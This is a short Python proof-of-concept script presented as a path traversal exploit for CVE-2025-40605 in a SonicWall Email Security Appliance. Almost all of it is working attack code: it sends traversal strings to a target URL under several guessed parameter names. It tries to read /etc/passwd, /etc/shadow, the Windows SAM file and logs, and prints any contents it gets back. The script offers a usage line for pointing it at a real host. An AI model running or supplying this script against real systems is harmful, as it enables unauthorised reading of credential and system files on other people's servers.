CVE-2025-40605

# CVE-2025-40605 Path Traversal PoC # SonicWall Email Security Appliance # Reference: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0018 import requests import sys def test_path_traversal(target_url): """ Test for path traversal vulnerability in SonicWall Email Security """ # Common paths that may be accessible via path traversal sensitive_paths = [ "../../../../etc/passwd", "..\..\..\..\windows\system32\config\sam", "../../../../etc/shadow", "../../../../var/log/messages", "../../../..\etc\hosts" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } print(f"[*] Testing target: {target_url}") for path in sensitive_paths: # Try different parameter names commonly used in file download features params_list = [ {"file": path}, {"path": path}, {"filename": path}, {"download": path}, {"uri": path} ] for params in params_list: try: response = requests.get( target_url, params=params, headers=headers, timeout=10, verify=False ) if response.status_code == 200: if "root:" in response.text or "Administrator:" in response.text: print(f"[+] VULNERABLE! Path: {path}") print(f"[+] Parameter: {list(params.keys())[0]}") print(f"[+] Content preview:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {path}: {e}") print("[-] No vulnerable endpoint found or target not affected") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "https://vulnerable-host/cgi-bin/cxosync" test_path_traversal(target) # Note: Replace 'vulnerable-host' with actual target IP/hostname # Usage: python cve-2025-40605.py https://target-host/path/to/vulnerable/endpoint

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